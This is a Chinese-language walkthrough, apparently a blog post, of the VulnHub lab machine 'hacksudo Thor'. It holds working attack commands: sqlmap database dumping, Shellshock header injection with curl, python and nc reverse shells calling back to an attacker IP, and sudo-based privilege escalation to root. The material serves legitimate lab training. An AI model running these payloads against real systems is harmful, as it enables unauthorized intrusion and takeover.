靶场下载地址:https://download.vulnhub.com/hacksudo/hacksudo---Thor.zip
下载下来是虚拟机.ova压缩文件,这个靶机是VirtualBox的,直接用VM打开会报错想要用VM打开可以看我这篇文章:如何将VirtualBox虚拟机转换到VMware中_奋斗吧!小胖子的博客-CSDN博客_virtualbox转vmware
打开后把网络模式设置为NAT模式(桥接模式也可以,和kali攻击机保持一致就可以)
打开后靶机没有自动获取ip,解决办法看我这篇文章:靶机无法自己获取ip地址解决办法_奋斗吧!小胖子的博客-CSDN博客
开启虚拟机
靶场搭建完毕
由于不知道靶机ip,所以需要扫描NAT的网段
开放了22端口,存在ssh服务
开放了80端口,存在http服务,且中间件未Apache 2.4.38
访问WEB,发现是一个银行登录页面
在news页面看到几条通知,翻译了没有发现有线索
contact页面,也没有什么线索
about us 页面和contact页面一样
回到登录页面
看是否存在弱口令admin/admin
发现不正确
抓包看是否存在sql注入,经过多次多符号的测试,发现不存在sql注入
搜索一下敏感目录
发现一个README.md文档,将文档保存下来
查看,发现是一个网站搭建的说明文档,在其中发现了初始账号和密码
尝试登录/home页面,发现不正确
还发现了/admin_login.php页面,是管理员的登录页面
尝试使用前面文档里的默认账号admin/password123登录,发现成功登录
发现后台可以编辑用户,添加用户,删除用户,添加新闻
发现通过url中的cust_id参数就可以改变编辑的用户,尝试看是否存在SQL注入
发现果然存在sql注入
接下来利用sql注入来爆出数据库,这里我直接使用sqlmap
抓包将数据包保存到文件中,利用sqlmap -r参数
发现数据库为MySQL,存在时间注入
--dbs爆出所有数据库名
--current-db爆出当前数据库名
-D hacksudo --tables爆出当前数据库所有表名
-D hacksudo -T admin --dump爆出admin表所有数据
-D hacksudo -T customer --dump爆出customer表所有数据
这里爆出的数据和我们在管理员后台上可以编辑的四个用户是一样的
我们使用普通用户账号来登录普通用户的后台,发现可以查看转账记录,可以进行转账,转账的密码就是登录密码
但是这些发现的sql注入、逻辑漏洞、后台弱口令等都不能让我们拿到shell,所以我们需要寻找其它切入点
在我们搜索敏感目录的时候还发现了/cgi-bin/目录,这个目录是用来存放WEB使用的一些外部接口文件的,里面可能包含一些后缀名为.cgi或者.sh的文件
我们访问这个目录发现没有访问权限,对这个目录没有访问权限不代表对里面的文件也没有访问权限
这里需要用到一种漏洞叫破壳漏洞
“破壳”是Bash(GNU Bourne Again Shell)中出现的允许攻击者通过环境变量执行任意命令的漏洞。
利用条件:Bash 版本小于等于4.3
该Bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。
我们现在需要靶机上的bash来设置环境变量执行命令来获取shell,所以我们需要在/cgi-bin/目录下找到一个cgi或者sh后缀的文件
使用dirsearch来查找,发现两个存在的文件
这里我们使用shell.sh文件,因为他是个shell脚本文件
使用nmap的破壳漏洞的脚本来检测漏洞是否存在
nmap -A -p 80 --script http-shellshock --script-args uri=/cgi-bin/shell.sh,cmd=id 192.168.52.141
发现确实存在破壳漏洞
利用curl来利用漏洞执行命令,看靶机上是否有python,发现有python
curl -H "user-aget: () { :; }; echo; /bin/bash -c 'which python'" \http://192.168.52.141/cgi-bin/shell.sh
使用python来反弹shell
curl -H "user-aget: () { :; }; echo; /bin/bash -c 'python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.52.128",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")''" \http://192.168.52.141/cgi-bin/shell.sh
利用失败
看主机上是否存在nc,存在nc
利用nc反弹shell
先在kali上监听4444端口
执行命令
curl -H "user-aget: () { :; }; echo; /bin/bash -c 'nc 192.168.52.128 4444 -e /bin/bash'" \http://192.168.52.141/cgi-bin/shell.sh
成功获得shell
获得的shell是不完整的shell,我们利用python pty来升级shell
python -c 'import pty;pty.spawn("/bin/bash")'
在目录下看到所有的cgi和sh文件
在/etc/passwd下看到两个可以用于ssh登录的用户
在家目录下也看到一个thor的家目录,没有权限进入
sudo提权
sudo -l 查看是否有可提权的命令
发现可以以thor用的的身份执行/home/thor目录下的hammer.sh文件
尝试执行
问我们你想和thor谈话吗,发现让我们输入密码
直接回车发现直接进入了输入对话
再执行一次输入其它密码,发现密码在下一句i am后面返回为名字了
还发现输入对话的地方如果输入命令会被执行
如果我们直接输入/bin/bash ,发现成功获得了thor的shell,成功提权
还是不完整的shell,利用python pty升级shell
继续提权
sudo提权
sudo -l 查看是否有可提权的命令
发现可以以root用户身份执行cat和service命令
可以通过cat来查看/etc/shadow下的root用户的密码来ssh登录提权
也可以通过service直接提权,执行命令
sudo /usr/sbin/service ../../bin/bash